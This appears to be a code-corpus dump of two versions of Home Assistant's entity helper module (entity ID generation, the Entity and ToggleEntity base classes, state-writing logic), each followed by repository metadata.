ATTR_ASSUMED_STATE, ATTR_FRIENDLY_NAME, ATTR_HIDDEN, ATTR_ICON,
ATTR_UNIT_OF_MEASUREMENT, DEVICE_DEFAULT_NAME, STATE_OFF, STATE_ON,
STATE_UNAVAILABLE, STATE_UNKNOWN, TEMP_CELCIUS, TEMP_FAHRENHEIT,
ATTR_ENTITY_PICTURE)
from homeassistant.exceptions import NoEntitySpecifiedError
from homeassistant.util import ensure_unique_string, slugify
# Dict mapping entity_id to a boolean that overwrites the hidden property
_OVERWRITE = defaultdict(dict)
# Pattern for validating entity IDs (format: <domain>.<entity>)
ENTITY_ID_PATTERN = re.compile(r"^(\w+)\.(\w+)$")
def generate_entity_id(entity_id_format, name, current_ids=None, hass=None):
"""Generate a unique entity ID based on given entity IDs or used ids."""
name = (name or DEVICE_DEFAULT_NAME).lower()
if current_ids is None:
if hass is None:
raise RuntimeError("Missing required parameter currentids or hass")
current_ids = hass.states.entity_ids()
return ensure_unique_string(
entity_id_format.format(slugify(name.lower())), current_ids)
def split_entity_id(entity_id):
"""Split a state entity_id into domain, object_id."""
return entity_id.split(".", 1)
def valid_entity_id(entity_id):
"""Test if an entity ID is a valid format."""
return ENTITY_ID_PATTERN.match(entity_id) is not None
class Entity(object):
"""ABC for Home Assistant entities."""
# pylint: disable=no-self-use
# SAFE TO OVERWRITE
# The properties and methods here are safe to overwrite when inherting this
# class. These may be used to customize the behavior of the entity.
@property
def should_poll(self):
"""Return True if entity has to be polled for state.
False if entity pushes its state to HA.
"""
return True
@property
def unique_id(self):
"""Return a unique id."""
return "{}.{}".format(self.__class__, id(self))
@property
def name(self):
"""Return the name of the entity."""
return None
@property
def state(self):
"""Return the state of the entity."""
return STATE_UNKNOWN
@property
def state_attributes(self):
"""Return the state attributes.
Implemented by component base class.
"""
return None
@property
def device_state_attributes(self):
"""Return device specific state attributes.
Implemented by platform classes.
"""
return None
@property
def unit_of_measurement(self):
"""Return the unit of measurement of this entity, if any."""
return None
@property
def icon(self):
"""Return the icon to use in the frontend, if any."""
return None
@property
def entity_picture(self):
"""Return the entity picture to use in the frontend, if any."""
return None
@property
def hidden(self):
"""Return True if the entity should be hidden from UIs."""
return False
@property
def available(self):
"""Return True if entity is available."""
return True
@property
def assumed_state(self):
"""Return True if unable to access real state of entity."""
return False
def update(self):
"""Retrieve latest state."""
pass
entity_id = None
# DO NOT OVERWRITE
# These properties and methods are either managed by Home Assistant or they
# are used to perform a very specific function. Overwriting these may
# produce undesirable effects in the entity's operation.
hass = None
def update_ha_state(self, force_refresh=False):
"""Update Home Assistant with current state of entity.
If force_refresh == True will update entity before setting state.
"""
if self.hass is None:
raise RuntimeError("Attribute hass is None for {}".format(self))
if self.entity_id is None:
raise NoEntitySpecifiedError(
"No entity id specified for entity {}".format(self.name))
if force_refresh:
self.update()
state = STATE_UNKNOWN if self.state is None else str(self.state)
attr = self.state_attributes or {}
device_attr = self.device_state_attributes
if device_attr is not None:
attr.update(device_attr)
self._attr_setter('unit_of_measurement', str, ATTR_UNIT_OF_MEASUREMENT,
attr)
if not self.available:
state = STATE_UNAVAILABLE
attr = {}
self._attr_setter('name', str, ATTR_FRIENDLY_NAME, attr)
self._attr_setter('icon', str, ATTR_ICON, attr)
self._attr_setter('entity_picture', str, ATTR_ENTITY_PICTURE, attr)
self._attr_setter('hidden', bool, ATTR_HIDDEN, attr)
self._attr_setter('assumed_state', bool, ATTR_ASSUMED_STATE, attr)
# Overwrite properties that have been set in the config file.
attr.update(_OVERWRITE.get(self.entity_id, {}))
# Remove hidden property if false so it won't show up.
if not attr.get(ATTR_HIDDEN, True):
attr.pop(ATTR_HIDDEN)
# Convert temperature if we detect one
if attr.get(ATTR_UNIT_OF_MEASUREMENT) in (TEMP_CELCIUS,
TEMP_FAHRENHEIT):
state, attr[ATTR_UNIT_OF_MEASUREMENT] = \
self.hass.config.temperature(
state, attr[ATTR_UNIT_OF_MEASUREMENT])
state = str(state)
return self.hass.states.set(self.entity_id, state, attr)
def _attr_setter(self, name, typ, attr, attrs):
"""Helper method to populate attributes based on properties."""
if attr in attrs:
return
value = getattr(self, name)
if not value:
return
try:
attrs[attr] = typ(value)
except (TypeError, ValueError):
pass
def __eq__(self, other):
"""Return the comparison."""
return (isinstance(other, Entity) and
other.unique_id == self.unique_id)
def __repr__(self):
"""Return the representation."""
return "<Entity {}: {}>".format(self.name, self.state)
@staticmethod
def overwrite_attribute(entity_id, attrs, vals):
"""Overwrite any attribute of an entity.
This function should receive a list of attributes and a
list of values. Set attribute to None to remove any overwritten
value in place.
"""
for attr, val in zip(attrs, vals):
if val is None:
_OVERWRITE[entity_id.lower()].pop(attr, None)
else:
_OVERWRITE[entity_id.lower()][attr] = val
class ToggleEntity(Entity):
"""ABC for entities that can be turned on and off."""
# pylint: disable=no-self-use
@property
def state(self):
"""Return the state."""
return STATE_ON if self.is_on else STATE_OFF
@property
def is_on(self):
"""Return True if entity is on."""
return False
def turn_on(self, **kwargs):
"""Turn the entity on."""
pass
def turn_off(self, **kwargs):
"""Turn the entity off."""
pass
def toggle(self, **kwargs):
"""Toggle the entity off."""
if self.is_on:
self.turn_off(**kwargs)
else:
self.turn_on(**kwargs)
| {
"repo_name": "aoakeson/home-assistant",
"path": "homeassistant/helpers/entity.py",
"copies": "2",
"size": "7553",
"license": "mit",
"hash": -7225056888498693000,
"line_mean": 28.9722222222,
"line_max": 79,
"alpha_frac": 0.6067787634,
"autogenerated": false,
"ratio": 4.17292817679558,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5779706940195579,
"avg_score": null,
"num_lines": null
} |
"""An abstract class for entities."""
import asyncio
from datetime import datetime, timedelta
import logging
import functools as ft
from timeit import default_timer as timer
from typing import Any, Dict, Iterable, List, Optional, Union
from homeassistant.const import (
ATTR_ASSUMED_STATE,
ATTR_FRIENDLY_NAME,
ATTR_HIDDEN,
ATTR_ICON,
ATTR_UNIT_OF_MEASUREMENT,
DEVICE_DEFAULT_NAME,
STATE_OFF,
STATE_ON,
STATE_UNAVAILABLE,
STATE_UNKNOWN,
TEMP_CELSIUS,
TEMP_FAHRENHEIT,
ATTR_ENTITY_PICTURE,
ATTR_SUPPORTED_FEATURES,
ATTR_DEVICE_CLASS,
)
from homeassistant.helpers.entity_platform import EntityPlatform
from homeassistant.helpers.entity_registry import (
EVENT_ENTITY_REGISTRY_UPDATED,
RegistryEntry,
)
from homeassistant.core import HomeAssistant, callback, CALLBACK_TYPE, Context
from homeassistant.config import DATA_CUSTOMIZE
from homeassistant.exceptions import NoEntitySpecifiedError
from homeassistant.util import ensure_unique_string, slugify
from homeassistant.util.async_ import run_callback_threadsafe
from homeassistant.util import dt as dt_util
# mypy: allow-untyped-defs, no-check-untyped-defs, no-warn-return-any
_LOGGER = logging.getLogger(__name__)
SLOW_UPDATE_WARNING = 10
def generate_entity_id(
entity_id_format: str,
name: Optional[str],
current_ids: Optional[List[str]] = None,
hass: Optional[HomeAssistant] = None,
) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
if current_ids is None:
if hass is None:
raise ValueError("Missing required parameter currentids or hass")
return run_callback_threadsafe(
hass.loop,
async_generate_entity_id,
entity_id_format,
name,
current_ids,
hass,
).result()
name = (slugify(name or "") or slugify(DEVICE_DEFAULT_NAME)).lower()
return ensure_unique_string(entity_id_format.format(name), current_ids)
@callback
def async_generate_entity_id(
entity_id_format: str,
name: Optional[str],
current_ids: Optional[Iterable[str]] = None,
hass: Optional[HomeAssistant] = None,
) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
if current_ids is None:
if hass is None:
raise ValueError("Missing required parameter currentids or hass")
current_ids = hass.states.async_entity_ids()
name = (name or DEVICE_DEFAULT_NAME).lower()
return ensure_unique_string(entity_id_format.format(slugify(name)), current_ids)
class Entity:
"""An abstract class for Home Assistant entities."""
# SAFE TO OVERWRITE
# The properties and methods here are safe to overwrite when inheriting
# this class. These may be used to customize the behavior of the entity.
entity_id = None # type: str
# Owning hass instance. Will be set by EntityPlatform
hass: Optional[HomeAssistant] = None
# Owning platform instance. Will be set by EntityPlatform
platform: Optional[EntityPlatform] = None
# If we reported if this entity was slow
_slow_reported = False
# If we reported this entity is updated while disabled
_disabled_reported = False
# Protect for multiple updates
_update_staged = False
# Process updates in parallel
parallel_updates: Optional[asyncio.Semaphore] = None
# Entry in the entity registry
registry_entry: Optional[RegistryEntry] = None
# Hold list for functions to call on remove.
_on_remove: Optional[List[CALLBACK_TYPE]] = None
# Context
_context: Optional[Context] = None
_context_set: Optional[datetime] = None
@property
def should_poll(self) -> bool:
"""Return True if entity has to be polled for state.
False if entity pushes its state to HA.
"""
return True
@property
def unique_id(self) -> Optional[str]:
"""Return a unique ID."""
return None
@property
def name(self) -> Optional[str]:
"""Return the name of the entity."""
return None
@property
def state(self) -> Union[None, str, int, float]:
"""Return the state of the entity."""
return STATE_UNKNOWN
@property
def state_attributes(self) -> Optional[Dict[str, Any]]:
"""Return the state attributes.
Implemented by component base class.
"""
return None
@property
def device_state_attributes(self) -> Optional[Dict[str, Any]]:
"""Return device specific state attributes.
Implemented by platform classes.
"""
return None
@property
def device_info(self) -> Optional[Dict[str, Any]]:
"""Return device specific attributes.
Implemented by platform classes.
"""
return None
@property
def device_class(self) -> Optional[str]:
"""Return the class of this device, from component DEVICE_CLASSES."""
return None
@property
def unit_of_measurement(self) -> Optional[str]:
"""Return the unit of measurement of this entity, if any."""
return None
@property
def icon(self) -> Optional[str]:
"""Return the icon to use in the frontend, if any."""
return None
@property
def entity_picture(self) -> Optional[str]:
"""Return the entity picture to use in the frontend, if any."""
return None
@property
def hidden(self) -> bool:
"""Return True if the entity should be hidden from UIs."""
return False
@property
def available(self) -> bool:
"""Return True if entity is available."""
return True
@property
def assumed_state(self) -> bool:
"""Return True if unable to access real state of the entity."""
return False
@property
def force_update(self) -> bool:
"""Return True if state updates should be forced.
If True, a state change will be triggered anytime the state property is
updated, not just when the value changes.
"""
return False
@property
def supported_features(self) -> Optional[int]:
"""Flag supported features."""
return None
@property
def context_recent_time(self) -> timedelta:
"""Time that a context is considered recent."""
return timedelta(seconds=5)
@property
def entity_registry_enabled_default(self) -> bool:
"""Return if the entity should be enabled when first added to the entity registry."""
return True
# DO NOT OVERWRITE
# These properties and methods are either managed by Home Assistant or they
# are used to perform a very specific function. Overwriting these may
# produce undesirable effects in the entity's operation.
@property
def enabled(self) -> bool:
"""Return if the entity is enabled in the entity registry.
If an entity is not part of the registry, it cannot be disabled
and will therefore always be enabled.
"""
return self.registry_entry is None or not self.registry_entry.disabled
@callback
def async_set_context(self, context: Context) -> None:
"""Set the context the entity currently operates under."""
self._context = context
self._context_set = dt_util.utcnow()
async def async_update_ha_state(self, force_refresh=False):
"""Update Home Assistant with current state of entity.
If force_refresh == True will update entity before setting state.
This method must be run in the event loop.
"""
if self.hass is None:
raise RuntimeError(f"Attribute hass is None for {self}")
if self.entity_id is None:
raise NoEntitySpecifiedError(
f"No entity id specified for entity {self.name}"
)
# update entity data
if force_refresh:
try:
await self.async_device_update()
except Exception: # pylint: disable=broad-except
_LOGGER.exception("Update for %s fails", self.entity_id)
return
self._async_write_ha_state()
@callback
def async_write_ha_state(self):
"""Write the state to the state machine."""
if self.hass is None:
raise RuntimeError(f"Attribute hass is None for {self}")
if self.entity_id is None:
raise NoEntitySpecifiedError(
f"No entity id specified for entity {self.name}"
)
self._async_write_ha_state()
@callback
def _async_write_ha_state(self):
"""Write the state to the state machine."""
if self.registry_entry and self.registry_entry.disabled_by:
if not self._disabled_reported:
self._disabled_reported = True
_LOGGER.warning(
"Entity %s is incorrectly being triggered for updates while it is disabled. This is a bug in the %s integration.",
self.entity_id,
self.platform.platform_name,
)
return
start = timer()
attr = {}
if not self.available:
state = STATE_UNAVAILABLE
else:
state = self.state
if state is None:
state = STATE_UNKNOWN
else:
state = str(state)
attr.update(self.state_attributes or {})
attr.update(self.device_state_attributes or {})
unit_of_measurement = self.unit_of_measurement
if unit_of_measurement is not None:
attr[ATTR_UNIT_OF_MEASUREMENT] = unit_of_measurement
entry = self.registry_entry
# pylint: disable=consider-using-ternary
name = (entry and entry.name) or self.name
if name is not None:
attr[ATTR_FRIENDLY_NAME] = name
icon = self.icon
if icon is not None:
attr[ATTR_ICON] = icon
entity_picture = self.entity_picture
if entity_picture is not None:
attr[ATTR_ENTITY_PICTURE] = entity_picture
hidden = self.hidden
if hidden:
attr[ATTR_HIDDEN] = hidden
assumed_state = self.assumed_state
if assumed_state:
attr[ATTR_ASSUMED_STATE] = assumed_state
supported_features = self.supported_features
if supported_features is not None:
attr[ATTR_SUPPORTED_FEATURES] = supported_features
device_class = self.device_class
if device_class is not None:
attr[ATTR_DEVICE_CLASS] = str(device_class)
end = timer()
if end - start > 0.4 and not self._slow_reported:
self._slow_reported = True
_LOGGER.warning(
"Updating state for %s (%s) took %.3f seconds. "
"Please report platform to the developers at "
"https://goo.gl/Nvioub",
self.entity_id,
type(self),
end - start,
)
# Overwrite properties that have been set in the config file.
if DATA_CUSTOMIZE in self.hass.data:
attr.update(self.hass.data[DATA_CUSTOMIZE].get(self.entity_id))
# Convert temperature if we detect one
try:
unit_of_measure = attr.get(ATTR_UNIT_OF_MEASUREMENT)
units = self.hass.config.units
if (
unit_of_measure in (TEMP_CELSIUS, TEMP_FAHRENHEIT)
and unit_of_measure != units.temperature_unit
):
prec = len(state) - state.index(".") - 1 if "." in state else 0
temp = units.temperature(float(state), unit_of_measure)
state = str(round(temp) if prec == 0 else round(temp, prec))
attr[ATTR_UNIT_OF_MEASUREMENT] = units.temperature_unit
except ValueError:
# Could not convert state to float
pass
if (
self._context is not None
and dt_util.utcnow() - self._context_set > self.context_recent_time
):
self._context = None
self._context_set = None
self.hass.states.async_set(
self.entity_id, state, attr, self.force_update, self._context
)
def schedule_update_ha_state(self, force_refresh=False):
"""Schedule an update ha state change task.
Scheduling the update avoids executor deadlocks.
Entity state and attributes are read when the update ha state change
task is executed.
If state is changed more than once before the ha state change task has
been executed, the intermediate state transitions will be missed.
"""
self.hass.add_job(self.async_update_ha_state(force_refresh))
@callback
def async_schedule_update_ha_state(self, force_refresh=False):
"""Schedule an update ha state change task.
This method must be run in the event loop.
Scheduling the update avoids executor deadlocks.
Entity state and attributes are read when the update ha state change
task is executed.
If state is changed more than once before the ha state change task has
been executed, the intermediate state transitions will be missed.
"""
self.hass.async_create_task(self.async_update_ha_state(force_refresh))
async def async_device_update(self, warning=True):
"""Process 'update' or 'async_update' from entity.
This method is a coroutine.
"""
if self._update_staged:
return
self._update_staged = True
# Process update sequential
if self.parallel_updates:
await self.parallel_updates.acquire()
if warning:
update_warn = self.hass.loop.call_later(
SLOW_UPDATE_WARNING,
_LOGGER.warning,
"Update of %s is taking over %s seconds",
self.entity_id,
SLOW_UPDATE_WARNING,
)
try:
# pylint: disable=no-member
if hasattr(self, "async_update"):
await self.async_update()
elif hasattr(self, "update"):
await self.hass.async_add_executor_job(self.update)
finally:
self._update_staged = False
if warning:
update_warn.cancel()
if self.parallel_updates:
self.parallel_updates.release()
@callback
def async_on_remove(self, func: CALLBACK_TYPE) -> None:
"""Add a function to call when entity removed."""
if self._on_remove is None:
self._on_remove = []
self._on_remove.append(func)
async def async_remove(self):
"""Remove entity from Home Assistant."""
await self.async_internal_will_remove_from_hass()
await self.async_will_remove_from_hass()
if self._on_remove is not None:
while self._on_remove:
self._on_remove.pop()()
self.hass.states.async_remove(self.entity_id)
async def async_added_to_hass(self) -> None:
"""Run when entity about to be added to hass.
To be extended by integrations.
"""
async def async_will_remove_from_hass(self) -> None:
"""Run when entity will be removed from hass.
To be extended by integrations.
"""
async def async_internal_added_to_hass(self) -> None:
"""Run when entity about to be added to hass.
Not to be extended by integrations.
"""
if self.registry_entry is not None:
assert self.hass is not None
self.async_on_remove(
self.hass.bus.async_listen(
EVENT_ENTITY_REGISTRY_UPDATED, self._async_registry_updated
)
)
async def async_internal_will_remove_from_hass(self) -> None:
"""Run when entity will be removed from hass.
Not to be extended by integrations.
"""
async def _async_registry_updated(self, event):
"""Handle entity registry update."""
data = event.data
if (
data["action"] != "update"
or data.get("old_entity_id", data["entity_id"]) != self.entity_id
):
return
ent_reg = await self.hass.helpers.entity_registry.async_get_registry()
old = self.registry_entry
self.registry_entry = ent_reg.async_get(data["entity_id"])
if self.registry_entry.disabled_by is not None:
await self.async_remove()
return
if self.registry_entry.entity_id == old.entity_id:
self.async_write_ha_state()
return
await self.async_remove()
self.entity_id = self.registry_entry.entity_id
await self.platform.async_add_entities([self])
def __eq__(self, other):
"""Return the comparison."""
if not isinstance(other, self.__class__):
return False
# Can only decide equality if both have a unique id
if self.unique_id is None or other.unique_id is None:
return False
# Ensure they belong to the same platform
if self.platform is not None or other.platform is not None:
if self.platform is None or other.platform is None:
return False
if self.platform.platform != other.platform.platform:
return False
return self.unique_id == other.unique_id
def __repr__(self) -> str:
"""Return the representation."""
return "<Entity {}: {}>".format(self.name, self.state)
class ToggleEntity(Entity):
"""An abstract class for entities that can be turned on and off."""
@property
def state(self) -> str:
"""Return the state."""
return STATE_ON if self.is_on else STATE_OFF
@property
def is_on(self) -> bool:
"""Return True if entity is on."""
raise NotImplementedError()
def turn_on(self, **kwargs: Any) -> None:
"""Turn the entity on."""
raise NotImplementedError()
def async_turn_on(self, **kwargs):
"""Turn the entity on.
This method must be run in the event loop and returns a coroutine.
"""
return self.hass.async_add_job(ft.partial(self.turn_on, **kwargs))
def turn_off(self, **kwargs: Any) -> None:
"""Turn the entity off."""
raise NotImplementedError()
def async_turn_off(self, **kwargs):
"""Turn the entity off.
This method must be run in the event loop and returns a coroutine.
"""
return self.hass.async_add_job(ft.partial(self.turn_off, **kwargs))
def toggle(self, **kwargs: Any) -> None:
"""Toggle the entity."""
if self.is_on:
self.turn_off(**kwargs)
else:
self.turn_on(**kwargs)
def async_toggle(self, **kwargs):
"""Toggle the entity.
This method must be run in the event loop and returns a coroutine.
"""
if self.is_on:
return self.async_turn_off(**kwargs)
return self.async_turn_on(**kwargs)
| {
"repo_name": "Cinntax/home-assistant",
"path": "homeassistant/helpers/entity.py",
"copies": "1",
"size": "19240",
"license": "apache-2.0",
"hash": -5979522851131839000,
"line_mean": 30.8543046358,
"line_max": 134,
"alpha_frac": 0.6048856549,
"autogenerated": false,
"ratio": 4.2822167816603605,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.00004935498536771651,
"num_lines": 604
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.